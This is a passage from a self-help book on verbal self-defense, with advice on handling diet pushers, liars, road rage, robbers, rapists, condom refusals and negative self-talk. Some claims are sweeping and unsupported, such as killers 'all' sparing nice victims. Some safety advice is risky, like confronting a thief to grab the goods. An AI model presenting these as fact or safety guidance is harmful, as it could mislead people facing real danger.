resonant “No, thank you!” If they insist, repeat “No, thank you!,” only this time in a louder and stronger voice.
If they still persist, say, “Look, I know you mean well, but I really cannot have any of this. I am under a strict
program and my health depends upon it. You wouldn't want to be responsible for sabotaging my health, would
you?” Most likely that will put a stop to it! Again, you haven't lied. Your health is in jeopardy. Besides the
physical problems often caused by being overweight, you have to consider your mental health as well. Often
people who are overweight are emotionally upset about it—otherwise, they would not be on a diet. People who
are overweight are usually unhappy about it. Why else would they be on a diet?
Enough About My Weight Already!
Why is everyone so concerned about everyone else's weight? We live in a society that is obsessed by how
much people weigh. How often have you run into a friend you haven't seen in a while and said, “Oh, you lost
weight!” Or turned to another person and said, “It looks like she put on weight!” There are even people who
will dare to ask, “Have you put on weight?”
If someone needs to lose weight, you don't need to say anything—believe me, they know it! They don't need
you to tell them. They have a mirror to do that. But what about if someone moans and groans about how fat
they are? What do you say? For starters, don't join their chorus. They can sing and groan it all they want to, but
if you do, watch out! They will never forgive you. Never! If you are the one someone told to lose weight, say
the following. “Why does my weight disturb you?”
That's My Friend You're Talking About!
What do you do if you're in a conversation and you overhear some people talking about another person who is
your friend? First, keep quiet and listen to everything they have to say so that you have the entire picture. You
may actually agree with them. You might want to join in and add to the conversation by providing a new and
different perspective. This might give them insight as to why your friend might have behaved or reacted the
way she did.

Page 288
On the other hand, if they have nothing good to say about your friend, and much of it is based on lies, you have
a responsibility as a true friend to stand up and defend! Say “Hey, that's my friend you're talking about!” If they
say “So what,” you may reply, “Well, I don't appreciate you talking about her that way!” If they are belligerent,
you are better off not getting into it with them. You don't want to have any bloodshed over this! The fact that
you defended your friend's honor is good enough. I will leave it up to you whether it's best to tell your friend
about the incident. You may help them in the long run, although at the moment you are probably going to hurt
their feelings.
You Don't Know What You're Talking About!
You have probably been in situations where someone is talking, but they really have no idea what they are
talking about, even though they insist that they do. They insist that they are right. They insist that you do it
their way. You know that if you do, you will have wasted a lot of time and money. But they are so stubborn,
they just won't budge, no matter how hard you try to convince them that their way is wrong. You try logic. You
write it down. You have all the evidence in the world. It doesn't matter. They are as stubborn as a mule. What
do you say?
First of all, it depends on who it is you are talking to. If it's your boss and they are paying for the mistake, let
them knock themselves out and go for it. If you have a lot invested in it, say the following, “You know, I really
respect you, and I am sure that you feel the same. We are obviously at an impasse. I am going my way, and I
know you will go yours for now. No hard feelings.”
Talking to Those with Speaking Challenges.
If you are dealing with a person who stutters or has any other type of speech impediment, the absolute worst
thing you can do is to finish a sentence for them, even if you are trying to be helpful.
As uncomfortable as it may be for you to watch them struggle, repeat sounds, contort their faces, and even in
some cases spray saliva, it is even more excruciating for them
Page 289
to have you speak on their behalf. (The exception is a stroke victim: You may be helping that person retrieve
certain words from his or her damaged memory.)
Therefore, you must be patient. Try not to look away, even though you may be feeling embarrassed. Always
keep in mind that they deserve to be treated with the same dignity and respect as you.
Talking to Those with Hearing Challenges
When speaking with the hearing-challenged, you obviously need to speak up, even if they are wearing
amplification devices—but DON'T YELL! This can cause distortion and a squealing sound in their hearing
device. Face them directly so that they can read your lips, and speak slowly so that they can try to understand
everything you say to them. DO NOT speak down to them or treat them as though they are mentally
challenged. Their intelligence has nothing to do with their hearing problem.
Talking to the Physically Challenged
Unless you have been exposed to many people with physical and mental challenges, you may well feel
uncomfortable talking with such people. The key thing to remember is to treat them with respect and never talk
down to them. The words of John Merrick, the Elephant Man, say it all: “I am not an animal—I am a man.”
Even though he was different, he was still a human being deserving of the respect of others.
The first thing to remember when you talk to anyone who is blind or paralyzed is never to yell at them or speak
loudly or slowly in simple childlike sentences. They are not deaf or mentally challenged. Indeed, those with
limitations such as blindness have often developed a sense of hearing much keener than that possessed by fully
sighted people. Talk to them like you would to anyone else.
Talking to the Mentally III
People with mental conditions are among the most difficult people to communicate with, because you never
know where they are coming from. Often you may think that a person is just being difficult or ornery, when in
fact that is only the tip of the iceberg. Some are very psychologically disturbed. Some may have mood swings,
going from elation to depression in a moment. Others may have sudden bursts of anger or impulsive behaviors
that make them do things on a whim. Still others have compulsive behaviors that result in certain rituals,
behaviors, or extreme irritation at certain things. And some sad cases are so out of touch with the real world
that they hear voices.

Page 290
Although people with mental conditions may be undergoing professional psychological treatment, there are
some things you can do to communicate with them more effectively. It is important to speak in soft, consistent
tones, try not to raise your voice. When you are explaining something or telling a story set limits and focus and
get to the point as soon as possible. Make sure you limit communication to only basic information and avoid
heavy, esoteric philosophical discussions.
No—Not You!
When you found out that someone you really liked or loved betrayed you, perhaps no words could express
what you were feeling. Perhaps they betrayed a confidence. Perhaps in a moment of anger they threw back at
you a confidence you shared only with them. You're numb! Speechless! You feel as though you got kicked in
the stomach!
What do you say? After all, what can you say when respect is lost? That's exactly what you say. “I can't believe
how I trusted you! This hurts me very deeply. Tell me how I can ever be able to trust you again. I am in a lot of
pain right now!”
The key here is to never keep it in! Let it out! Say everything that you are feeling in your heart! Cry! Feel the
pain! Speak the truth!
I Admit It! I Did It!
In our culture, the things we value above all else are honesty and integrity. We appreciate remorse. We are
quick to forgive. We open our hearts to those who can take an honest look at themselves and see what wrongs
they committed, admit them, and attempt to make them right. This is the basis of how we judge others and even
more important, how we judge ourselves.
Whether you are admitting you cheated, lied, or made a mistake, just remember that it takes a great deal of
character and inner strength to admit you are wrong, make an apology, and have remorse for what you did. It
takes an even stronger person to want to make amends for the situation. To admit you did something wrong,
the first step is to not think about the other person's reaction. They very well might hate you and want never to
deal with you again. But so what? You are a real person doing what you have to do. You came clean and you
are a better person for it. You learned, and you
Page 291
probably won't make the same mistake again. If they reject you, tell them you understand, as painful as it is,
and accept their verbal wrath. You've spoken your piece. You've admitted you're wrong. Let them vent!
Whatever happens now is in their hands!
Don't Judge a Book by Its Cover!
What do you say when someone underestimates you? This often happens when people have known you for a
long time. They don't realize that the soft spot in your brain has fused together since you were an infant, that
you made it through kindergarten and actually have a Ph.D. in physics. But it doesn't make a difference. To
them you will always be little Baby Jane, and babies don't have opinions. Let's say you are a female attorney
and a male attorney is prejudiced against you and doesn't take you seriously, even though you graduated
number one in your law school class from Harvard. Let's say you have a foreign accent. You are a highly
qualified American board-certified foreign-born physician, but a patient doesn't want you to touch him. He
thinks you don't know what you're doing. He underestimates you! What do you say?
First of all, you acknowledge their feelings. You embarrass them by busting open their prejudices so that
everything is out in the open. There is nothing to hide. Then tell them why you are qualified (for example, list
your credentials) and then ask if they will allow you to show them or help them.
For example, Jane says, “I know you still see me as little Baby Jane, but I have grown up, have a Ph.D. now,
and know I can help you in this community project. I have worked on one similar to this one in Boston and it
was very successful.”
The female attorney says, “I know that some male attorneys still have an issue with female attorneys. They
can't help it. I'm not making you wrong or putting you down. It may even be a natural competitive thing for
some people. Maybe it's a personal thing with me. In any event, I feel that there's a lot of tension between us.
All I want to do is contribute my expertise and do my best. If you are concerned about my abilities—I notice
you always contradict everything I say—let me say that I have a very open mind, I am highly adaptive, and I
learn fast. In fact, I graduated first in my class at Harvard. So let me help you help the company.
As for the physician, he needs to say the following. “I know that many people feel uncomfortable with foreign
doctors, especially doctors who come from my country, because my country is very poor. You might wonder
how a doctor from such a poor country came here to study. I've been in the
Page 292
United States for 20 years, I went to medical school here, where I also did my training. Now I am licensed in
cardiology and have a faculty position at New York University. If you would like to check my credentials, you
are free to call the medical board to verify what I am telling you.”
Even though this might seem like a lot of work, there are no secrets. These three people have said what the
others were thinking, so there were no “I think that you think” games, and everyone can get on with the
business at hand.
Page 293
Chapter 23
Verbal Self-Defense Can Save Your Life!
This is one of the most vital chapters in the book because it can literally make the difference between whether
you live or die! It tells you how to incorporate everything that you have learned thus far in the pages in this
book and use it to your verbal advantage.
Everyone should know the information in this chapter! The split-second decisions you make about the verbal
strategies you choose can change the course of your entire life within seconds! Although I cannot guarantee
that these verbal self-defense techniques are foolproof, I can assure you that they can help protect you in most
circumstances most of the time. You must be discriminating, cautious, aware, and alert, always using your own
good judgment, so that you can avoid situations that put you in jeopardy.
In this chapter, you learn how to be more conscious of being in potentially disastrous circumstances. You learn
how to possibly prevent disastrous consequences, from road rage, to being talked out of your life savings, to
being mugged or raped. I have provided you with some very effective weapons to defend yourself against
potential life-threatening situations. These weapons have saved the lives of others. Hopefully, you will never
have to use them. But read and take heed!
Page 294
Listen for Verbal Red Flags!
If you keep your mouth shut and really listen to what a person says, he will usually reveal just about everything
you need to know about him if not more. If you just remain silent, as difficult and as uncomfortable as it might
seem to you at first, you will be amazed at what you learn! You will clearly see who this person really is—not
who you want them to be. In fact, this is one of the first things those in the law enforcement field learn. When
interviewing, “Be quiet! Let them talk! They'll tell you what you need to know!”
When you keep your mind and ears open and pay close attention to everything the person says—every morsel
of sound, every joke, sneer, cough, and tone—you will save yourself a lot of grief, emotional torment, money,
and perhaps even your life. Let's say you are talking to someone you don't really know that well, or maybe just
met. Just by objectively observing how a person talks and what he talks about during the course of the
conversation, you can gain a lot of insight into his personality.
This happened with a client of mine. She met a business associate who talked about his wife ad nauseam and
could never answer questions without saying “we” (even when not appropriate). My client pegged him as being
henpecked. After finally meeting his wife, she learned she was correct. The moral of this story is that we know
these things. It's not our sixth sense—it's our ears. We listened between the lines!
What You Hear Is Not Always What You Get!
One day a great looking, Armani-clad, well manicured, great-smelling gentleman came into my office. He said
he was an “investor.” He was referred to me by a dear friend who swore by him. Even though his outward
image was a 10, upon listening to him, his inward image was beginning to drop into the 5 range. Being 100
percent alert to everything he said, I heard a lot of inconsistencies. He contradicted himself a lot. He lied about
his background. At first, he told me that at ten years old, his parents were killed, so he lived with his
grandmother, was dirt poor, grew up on the streets and made himself what he is today. Towards the end of our
conversation, he said he came from a wealthy family in Connecticut, where his parents still live. He also joked
a lot. When I asked him what it was that he as an investor actually did, he gave a hearty laugh and said in a
joking tone, “I take people's money and run.”
When my friend called me later to ask me what I thought of the “investor,” I said that I wouldn't trust him in a
million years. She got mad at me and told me I was stupid not to invest my money with him. After all, he was
so well respected; all these prominent people used his services. She said he was a great investor. I told her that
after
Page 295
listening to him, I thought he was a phony. He contradicted himself. And for someone who was supposed to be
so savvy in the financial word, why did he mispronounce so many big words?
My friend got mad at me and stopped talking to me, until two months later. Apparently, that man in whom she
had “invested” got “arrested!” He was a fraud! I knew it all along—just by listening carefully. I knew it by his
contradictory stories. His last comment—his “joke”—said it all. As Sigmund Freud said, “there are no jokes,
only truths.” How right he was! “I take people's money and run!” He definitely told the truth here! It is no joke
that he is doing time!
Listening Between the Lines.
When you listen between the lines, here are some things to watch for and what they mean:
• Sarcastic jokes that have a ring of truth to them. This is a subconscious desire to confess or to let you know
what is going on. The person is also testing you. By throwing out this comment, he is observing how you are
going to react if it were to happen. If you return his smile or chuckle, he regards you as “safe” and feels more
comfortable around you.
• Contradictory statements or inconsistencies. These are unconscious leaks in information, involving either
letting down or putting up his guard, depending upon what truth or lie he tells you during the conversation.
• Bursts of anger. The person is out of control and angry because he is on the defensive and doesn't want to be
found out.
• Going off on tangents. This is another diversionary tactic designed to distract the listeners in hopes that they
will forget about the uncomfortable or touchy subject they are discussing. He is shifting the focus elsewhere.
Put a Lid on It!
As it says in the Bible, the power of life and death rests on the tongue. If you aren't conscious of what you are
saying, you can destroy your own life and the lives of others. We are all too familiar with the devastation that
occurs when someone gossips about us or betrays a hidden confidence. But what happens when we betray
ourselves? What happens when our own big mouths leave the mouths of others hanging open because they are
so shocked by what we have just revealed to them?
Page 296
Unfortunately, a decade or two ago, the “Me Generation” was taught that there was no holding back and that
we should let it all hang out. You could tell all—let the real you out at all costs—cry, scream, hit, regress,
breathe, or chant as you verbally expunged yourself from the pain of all your inner demons. This is great if
done in the privacy of your therapist's office, but not so great if it isn't. The fallout from it can be devastating.
Sure, you want to be open and honest, but some things are better left unsaid. We all have boundaries and some
should not be crossed. No man wants to hear that you slept with 100 men before him, especially when you're
lying there in the bed cuddled right next to him. No one has to know the details of your child's ill-fated
vomiting attack during church.
I Wouldn't Mouth Off If I Were You!
Even though I am a firm believer in letting your emotions out (when appropriate), there are times when you
just have to swallow your pride. Sometimes it is more appropriate to just shut up, swallow your words, breathe
in, blow it out, shut up, clench your teeth, shut up, bite your lower lip, shut up, bite your tongue, shut up, shut
up, shut up…. Why do I seem so adamant about trying to get this point cross to you? It is because I think that
you will have a much better time at home or with your friends, rather than in a jail with a bunch of other
inmates. It can happen to anyone, but don't let it happen to you. Never mouth off to a government official or to
a judge (if you do, you'll probably never see the light of day).
So what do you do instead of getting a brain hemorrhage? You do the Tension Blow-outs combined with the
Fantasy Technique and you'll be fine!
Your Speech Is a Loaded Gun
After reading this book, you know that words and tones can kill you emotionally. Saying the wrong words can
break someone's heart and upset her to the point that she becomes mentally, emotionally, and physically
incapacitated. Sometimes you know that your tone of voice can get someone all riled up or agitated or make
her miserable. Other times you can say something unknowingly or something just to vent your own anger,
which can cost you your life. In the next few sections I provide a number of scenarios on how violence was
most likely provoked because of someone's unconscious action, being unaware of how she communicated to
the other person. Since everything in life is based on stimulus and response interaction, if you are giving a
negative or hostile stimulus (even unknowingly) by the way you are talking to someone, in most cases the
response you get will not be very pleasant.
I'm sharing these examples with you to expand your awareness—to protect you, so that you don't end up
making the same mistakes that the people in these scenarios do. Their mistakes cost them a great deal,
including their lives! Perhaps by seeing what they did wrong, you won't do what they did, and that might just
save your life!
Page 297
Topics That, When Mentioned in Anger, Can Declare Verbal War
You can declare verbal war when, in anger, you mention another person's
• Mother or father
• Male or female companion
• Sister or brother
• Child
• Body part(s)
• Attitude
• Intelligence
• Honor
• Reputation
• Material things
Road Rage! Theater Rage! Outrage!
Take the everyday pressures people face, combine them with the time they spend in their cars, the increase in
the number of cars on the road, the lack of courtesy and manners in so many people, and the different levels of
driving skills, and what do you have? R-O-A-D R-A-G-E! Road rage is the buzzword of the year; all the
magazines and talk shows are talking about it. Newspapers and news broadcasts report on the increasing
number of road rage incidents.
Road rage is nothing new. It has been going on since the days of Henry Ford, when the automobile was first
invented. You've seen those old silent films where one car is trying to run the other one off the road in the big
“chase” scene. The only difference now is that people are more frustrated, madder, and meaner.
There is no question about it—with all of the pressures we go through in life in our complex society, there's a
lot more stress. When you've had a bad day at work the only thing you really want to do is get home and relax.
So, when someone gives
Page 298
you a hard time on the road (cutting you off or tailgating you) it is only natural to get angry. However, the other
driver might push you over the edge, to the point of road rage. In this case you might want to get out of the car,
verbally confront the other driver (who usually reciprocates with as much intense anger), and doing some
bodily harm (using fists or a weapon). If you follow your anger and not your head, the consequences could be
dire!
Although road rage typically occurs in big cities such as LA, where there are millions of drivers, it has been
reported everywhere, even in small rural towns.
So how should you handle an incident when it occurs? Let it go! Let it blow! Give 'Em Hell and Yell in your
car—alone. Do Visual Fantasy, and Tension Blowout. Be done with it. Concentrate on where you have to go
and on more important things in your life.
Shhhhhhhhhhhhh!
Just as road rage has recently plagued our society, so has “theater rage.” Although I don't know of any reported
deaths resulting from theater rage, that is not to say it cannot happen. Theater rage simply occurs when
someone talks during a movie or play. They may be loving the movie as much as you are, but they are sharing
their opinions, instead of waiting until the movie is over.
Unfortunately, in the age of television, VCRs, computers and CD Roms, many people don't go to movies very
often and are, therefore, used to being able to talk during a film. Oftentimes these people have to be reminded
that they are in a theater and are disturbing other people. People don't mind being told to keep it down, but they
do mind being reprimanded like a whining child or a barking dog and told loudly to be quiet. So what do you
do? Be real polite. Smile. Say “I'm sorry, but could you talk later? Thank you.” Smile. Say this in a soft and
pleasant tone. If you say it in a sarcastic or angry tone, you might as well have said SHHHHH. If they don't
oblige, move! If the theater is crowded, tell the usher! Let them handle it. That is what they are there for.
I Said No Talkin'!!
Gone are the days of Mrs. Smith saying “Johnny, stop it! I want you to stop talking and stop interrupting this
class. You have always been a nuisance and cause the class to waste so much time. If I have to tell you again, I
am going to send a letter home to your mother telling her how bad you are.”
Teacher violence is on the rise. Teachers are getting beaten and even killed by their students left and right!
Why? I wanted to know, so I asked a group of kids caught abusing their teachers. Ranging in age from 8 to 17,
these kids gave me some pretty consistent answers. “She didn't respect me.” “She dissed me in front of the
class.” “She picked on me all the time.” “She hated me.” I asked them what they would have wanted their
teachers to have done. Every single one of them answered “Respect me.” Although I was horribly against what
they did, I can see their point. Had the teacher called them out of the room, spoken to them, and not
embarrassed them in front of
Page 299
their friends, it would definitely have been a different story. So if you are a teacher or know any teachers,
please share this information with them. It came directly from the mouths of the “teacher abusers.”
Reason Before You Start Teasin'
Just as teacher violence is on the rise, so is school violence in general. The recent wave of school shootings,
with children killing other children, is both shocking and appalling. But deeper investigation into the
psychological profiles of these young killers indicates that they have something in common. They were all
teased and tormented by their peers. Toxic words were hurled at them on such a continuous basis that it ripped
their self-esteem to shreds. They lashed out!
Sometimes they lash in! With teenage suicides being at an all-time high, practically every suicide note contains
some references to being cut off from people and being teased by others. This is a worldwide phenomenon, as
such suicide notes have also been found among the belongings of teens in Japan and in Germany. All this
because of mean, nasty, horrible words that insensitive people unknowingly use in their attempt to feel cool or
superior to their unacceptable peers. The raw reality is that instead of using metal bullets they used verbal
bullets to kill the “insides” of their peers. In their tortured and hopeless minds, all the kids had left to do was to
finish the job, physically, and destroy themselves on the outside.
Tones Can Kill
Throughout this book I stress the importance of how you should say things. Your tone of voice can be a killer.
If you talk to someone in a rough-edged, harsh-sounding, loud voice that gives the impression that you are
angry, watch out! You might not even be angry, but the fact that you sound that way makes others feel like you
are, and so you are in for their bad attitude. If you aren't aware that you sound the way you do, you are
probably wondering why they are having a bad attitude. In defense you will probably return their bad attitude
until a full-blown fight ensues.
Page 300
This happens often with customer service representatives after a long day at work. They are in bad moods and
have an attitude reflected in their tone of voice. You react in a hostile manner, they react to your hostility, and
the cycle begins. So the next time you hear someone with a bad attitude, don't take it personally! Try to lighten
them up through a kind tone, a kind word, and a smile. Always be aware of your tone when you talk to anyone,
especially people you don't know who are in a position to be of service to you, so that you won't come across
with “attitude.”
You're Ok, I'm Ok. Ok, You're Ok.
Millions of people suffer from mental disorders and they don't even know it. They just think that's the way they
are! You yourself might have a mental disorder that you are not even aware of. Sure, you get hyper, but at least
you get a lot done. And then there are those days when you feel so low that you just can't get out of bed. More
and more research shows that it is your biochemistry which causes you to suffer those mood swings.
Those that are diagnosed with mental disorders are the lucky ones. They can be treated with medication and
live essentially normal lives. But some are so out of control that they can't afford or don't take their medication.
Some of them are dangerous. Some have even attacked or killed people. The message here is “tread lightly.”
Speak to them in calm, non-jarring, polite tones.
Non-Words Can Kill
In some cultures, it is not nice to look a person in the eye and speak or initiate a greeting, especially for a
woman. Touching a person is a no-no. Speech is abrupt, limited to business only, serious-faced and businesslike,
and perceived as not being very friendly. In other cultures, this behavior is unacceptable and perceived as
insulting, condescending, and disrespectful. When these two cultures get together, the possible negative
consequences of what can happen are inevitable. In fact, that has happened throughout the U.S. A number of
murders have occurred in situations where people were simply ignorant of the social dynamics of a particular
culture (such as handshaking, touching, warm greetings for males and females, smiles, openness, lots of
friendliness, and social interaction). Since the universal language is warmth, smiles, and attempted
verbalization, doing these three things with anyone, no matter where you are from, can save your life!
Page 301
Your Mouth Can Save Your Life
Just as your mouth can kill you, it can also keep you alive. If you know what to say in the right circumstances,
often circumstances that are beyond your control or are life-threatening, you can save your life. In the rest of
this chapter, I show you how. I give you some life-saving speaking and vocal techniques. I also present you
with some rather unpleasant scenarios in which you can use these techniques to thwart your perpetrator. Read
this section several times. I want the information to stick in your brain. Just in case anything like this should
ever happen to you (heaven forbid), you will be more likely than anyone else to survive! Above all else,
remember that you still must use your good judgment and trust your instincts. This is merely an aid to help you
in addition to doing that.
Verbal Kicks, Vocal Chops, Tonal Blocks
A verbal kick occurs when you push down on your abdominal muscles as though you are going to have a
bowel movement and open your mouth and as loudly you can, drawing out each vowel clearly, and say “GET
OUT OF HERE RIGHT NOW! I MEAN IT!” or “WHAT DO YOU WANT?” A verbal kick gives your voice
the quality and resonance it needs to show someone you are not a weak person. You are a formidable opponent.
You are not a victim and you mean business! Often it is all you need to get your perpetrator to leave.
Vocal chops occur when you speak in a staccato, marching-like abrupt tone. This is extremely effective in
getting your point across, as it is like a series of verbal exclamation points or pellets being hurled at someone!
Tonal blocks come in handy when you just have to be quiet. You might want to scream your head off, but you
know instinctively that it will get you killed. To control yourself, take a sip of air in through your mouth and
hold it. Keep holding it for as long as you possibly can and let it out. Then do it again. This will at least
stabilize you and keep you in control and level-headed as much as you can be under the circumstances.
Be Nice!
This may sound weird to you, but be nice to your perpetrator. Doing so can often save your life. Speaking in
soft tones and being friendly, even when the situation is the opposite of friendly, has saved many lives. When
serial killers and murders were asked why they spared the lives of certain victims when they had the
opportunity to kill them, they all said “they were nice to me.” So, before you make the decision to do
Page 302
what you have to do, first be nice. Speak softly and kindly. It just may be the deciding factor as to whether the
sicko spares your life!
To Catch a Thief!
Robbers case the joint to check out the premises they are robbing. In the same way, people are checking you
out. Studies show that if you walk like a victim you'll be victimized. The same goes for talking. If you sound
like a victim, you are more likely to be victimized. But now that you have all of the verbal self-defense
strategies in this book, you don't have to be.
That's why a potential robber might ask something like “What time is it?” Engage them in conversation and
look directly in their face, preferably in their eyes. Here is where you do look in their eyes as a sign of power. It
signals “I will not be intimidated!” Then say, “You know, I'd tell you the time, but my watch never works. I
need to get it fixed, but I have to get some money first because I lost my job and it's hard for me to work now
because I've got a bad back and my sister's in jail and now I have to take care of her kids….” Believe me, he'll
think you're a nutcase and try to find someone else to rob.
If he comes after you anyway and there are people around, give him a verbal kick, then Give 'Em Hell and
Yell. Usually that will work and someone will come to your rescue.
If you caught him red-handed and you are sure he's not carrying any weapons, confront him, then Give 'Em
Hell and Yell and a good verbal kick. Grab the goods. If he resists, do the obvious—run and call the police.
Rape.
A client of mine shared this incident, which saved her from being raped. In essence, she turned the tables on
her perpetrator. He had a knife to her throat as he told her to undress. In a soft, calm tone she said “don't worry,
I won't hurt you.” The rapist was so taken aback by what she said that he lost his footing. She ran and saved her
life. This proves again that your life does rest on “the power of your tongue,” as the Bible so eloquently puts it.
Once again, please take all the necessary safety precautions. Be alert. Use good judgment. When you see
someone approaching you, if there are people around, confront them loudly or even sing. If they think you're a
nutcase they usually won't bother with you.
Page 303
Date Rape
A rape is no less a rape just because you know the person who raped you. In fact, it is more of a rape, because
they know you, and you are not an impersonalized object, which a rapist can turn you into—you are a
personalized human being to the date rapist, so they have even less regard for you than does the generic rapist.
This subject is so touchy because there are many semantics involved, as well as circumstances and possible
miscommunication. The bottom line is that date rape may happen despite these efforts, but if you would never
consider sleeping with the person, or if you would consider it but not until you were more committed, don't
even put yourself in a compromising situation. Don't be alone with the person—not even in a car. If you are in
a car alone with them, make sure you know the route you're taking and that you won't be stopping for anything.
Also make sure that you have enough money to get home.
Sex Talk—Before It Gets Too Hot to Handle!
Even though everyone is preaching “safe sex,” it is the last thing you want to talk about “in the moment.”
When things are getting hot and heavy and you've finally decided to take that final step with your partner, the
last thing you are thinking about is an AIDS test! One of the hardest things to do is to bring up the topic of safe
sex.
In the heat of passion, especially when skin touches skin, you might feel so overwhelmed by desire that you
find it almost impossible to break out of the moment and say anything. But let's face it, not talking about it and
not doing something about it can kill you! So, here's what you say: “I feel so uncomfortable bringing this up,
but in this climate of AIDS and all, we have to talk about it. I'm sure you don't have it, but I think we both
should get tests so both of us will feel uninhibited.” Then do it. You'll get the results the next day! After all,
you've waited this long!
Page 304
Wear a What?
We aren't embarrassed when it comes to getting stark naked in front of another person, but we are terribly
embarrassed when we have to talk about using condoms! Obviously it helps prevent the spread of HIV, but you
really have to be just as concerned about other sexually transmitted diseases that, if left untreated, can also ruin
someone's life. So unless you have a 100 percent thorough clean bill of health, have had every test and every
orifice checked and re-checked, are married, committed to one person, and not cheating (and I really mean it—
no flings, no oral sex, not even a pat or a touch), then and only then can you abstain from wearing a condom.
Otherwise you are playing with your life and someone else's. In the “Talk Back!” section, I will give you the
excuses men use as to why they don't want to wear a condom and what his partner should say in return. The
bottom line is that there should be no excuses!
Talk Back: Excuses for a Man Not Wearing a Condom
(Man) I never wear one.
(Partner) It's time to start now.
(M) I don't like the feel of it.
(P) The new ones are super thin; the sensation's exactly the same.
(M) It feels like you're taking a shower with a raincoat on.
(P) At least you'll have a super thin raincoat and you'll be able to feel the
sensation.
(M) I don't have AIDS.
(P) I'm sure you don't. But there are other things you might not know you have
that your last relationship passed on to you.
(M) That's insulting.
(P) The last thing I would ever want to do is insult you. I care about you and I
am protecting the both of us.
(M) I can't believe you think I sleep around.
(P) I don't, but you've been with others in the past.
(M) I can't fit into one.
(P) You're in luck! Now they come in large and extra large.
(M) Let's not. (referring to wearing a condom)
(P) Okay, Let's not! (referring to making love)
(M) We'll be fine.
(P) That's right, because we're gonna have protected sex.
Page 305
Page 307
Chapter 24
Verbally Defending You Against You!
You have learned what it takes to verbally defend yourself against all different types of verbal enemies. You
now know what to say, how to say it, and who to say it to. You have the confidence to pull out any tactic
you've now mastered. You are able to choose automatically the technique that is most appropriate to verbally
slay your opponent. You know how to keep on going. You know how to slide from one technique into another,
until one of them finally clicks and you come out the victor in verbal battle.
Now that you are an expert at verbally defending yourself against others, the time has come to learn to defend
yourself against, perhaps, your most powerful and formidable opponent—YOU!
All too often in the art of verbal warfare, we are not our best ally. In fact, we can be our own worst enemy!
Unfortunately, we know this all to well. Even though life is a series of losses and wins, when we win some of
the battles, we are in such shock—we can't believe that we have won—that we sabotage ourselves and end up
losing a battle we fought hard to win. We don't do it purposely. We do it unknowingly, out of ignorance. We do
it usually because of some deep-rooted psychological issue concerning entitlement. We might not feel as
though we are entitled or deserving of winning the battles in our lives, and so we find it impossible to relax and
be peaceful!
Page 308
What Did You Say? That's What They Think!
The best verbal self-defense you can use against your most formidable verbal ally is when you say nice things
about you to you. When you speak highly about yourself, others will follow suit.
As I said earlier in this book, when I was in college, we girls who lived in the dormitory and dated the college
boys had a rule: “If a boy tells you that he is a jerk, believe him—he definitely is one.” The same holds true
with you. If you say you are a jerk, perhaps you are keeping a secret that others don't know. Maybe you are a
jerk!
Maybe you might have a nice, pleasant, friendly exterior, but deep down inside you might be an awful,
manipulating, seductive slime. Therefore, if you say you really aren't a very nice person, you probably aren't.
After all, who knows better about you than you?
On the other hand, there are a lot of really nice people out there who, in an attempt to appear humble and not
“big-headed,” sabotage themselves by putting themselves down. Unfortunately, if you say “I'm such an idiot!”
or “That's just my luck!” enough times, you might just be brainwashing yourself and creating a self-fulfilling
prophecy. People will believe you are unlucky or an idiot and will stay away from you and expect the worst
from you.
If you think you are fat and keep harping on it, or you have a big nose, are bald, or have fat thighs and
constantly complain about it, you are conditioning others to focus on the features you find negative about
yourself. Even if these things really are true about you, if you accept these things and even like these things
about you, so will others.
Verbalize! No Complaints! Fix What You Hate!
Stop brainwashing yourself and others with these negative images. One of the best ways to stop saying things
like “I hate my nose,” “My teeth are crooked,” “I'm so fat”, “I hate my hair,” and “I'm so short” is to get it all
out verbally. But do this with those who can do something about it—you, your loved ones, and a professional
who can fix it. By the way, with the advances in medicine today, things that were not changeable in the past—
such as repairing certain facial deformities and the ability to walk, talk, and hear—are routinely fixed today.
There are even ways to increase one's height—
Page 309
something never considered as little as a half a decade ago! The bottom line is, “there is no excuse!” If there's
something that really bothers you—figure out how to do something about it.
Look in the mirror. Really talk to yourself. Look at the thing about you that is the cause of your pain. Talk
about it out loud when nobody is there. It's your personal business, between you and you. Talk about how much
pain and grief this problem caused you, why you don't like it, what your life would be like if you didn't have it,
and how doing something about it will change your life.
Now go to someone you are super close to and share it with them. Have a two-way conversation. Tell them
what you told yourself. You might cry. You might even get talked out of having something done about it, but
don't! Stick to your guns. Have them come with you only if they support you in your endeavor as you see the
professional who can help you.
Verbalize everything you told yourself (and your loved one) to the professional and expect the best from him or
her. If they don't pay as much attention to what is going on inside of you on an emotional level as to what is
going on outside of you, do not have them work on you. There are too many other qualified professionals these
days who can do both. They have to care about you and hear you as well as have the skill to help you.
Never Let the “Cat Get Your Tongue”
Now that you have fixed your outsides, you still have to fix your insides. You can do this through a verbal
strategy I will teach you about in this section.
When you are overly quiet or shy or can't bring yourself to meet people or to see others, it is due to four
reasons:
• You feel that you are inferior or less than other people.
• You couldn't imagine why anyone would want to be friends with you.
• You feel that the person might try to control you.
• You fear that the person might belittle or reject you. So, in order to play it safe, it is easier for you not to play
at all, to sit on the verbal sidelines.
Well, guess what? You don't have to do that anymore. You have something to break you out of this syndrome
forever, and it consists of three little words that you will repeat over and over and over and over and over in
your head, even when you are being fed, even when you are in bed—all the time! These three simple words are
“I AM ENTITLED!” Say it out loud, particularly when you feel these feelings of insecurity coming on strong.
Then keep repeating it over and over to yourself silently.

Page 310
You might think this sounds weird and think “how can saying one simple sentence make me feel less
insecure?” That's what my clients asked me, but they were amazed when it actually worked. It does work! It
starts to make you conscious of the fact that you are just as important as the next person—that they are no
better than you are. The following methods are little tactics designed to remind you to not say bad things about
YOU! Every time you say a bad thing like “I'm stupid” or “It's just my luck” or put yourself down, do one of
these conditioning tactics so that you learn not to say it or feel that way again. As you do one or more of the
things listed here, watch the negative statements you say about yourself become less and less frequent.
Quashing Your Negative Words About You
Do one or more of these 10 things after you say something negative about yourself. After a while you'll stop
cutting yourself down.
1. Snap your fingers.
2. Blow air out of your mouth hard.
3. Bite your lower lip.
4. Bite your tongue.
5. Clench your jaw.
6. Slap your wrist.
7. Click your back teeth together.
8. Open the back of your throat like you're yawning, then yawn.
9. Clasp your fingers together.
10. Blow air in your cheeks.
Observe What You Say to Potential Verbal Spies!
People remember! They don't forget! They do talk! They talk and they talk and they talk! They talk about
themselves! They talk about others! They talk about YOU!
This means that if you tell them some good juicy tidbits about you, if you pour out your heart and soul to them,
you can be sure that every drop, every word that you express, will be circulated among everyone you know and
maybe even with those you don't know.
Loose Lips Sink Ships!
Sometimes you might think you are talking to a friend when in reality you are talking to a huge enemy—
someone who really doesn't like you, is jealous of you, or who really
Page 311
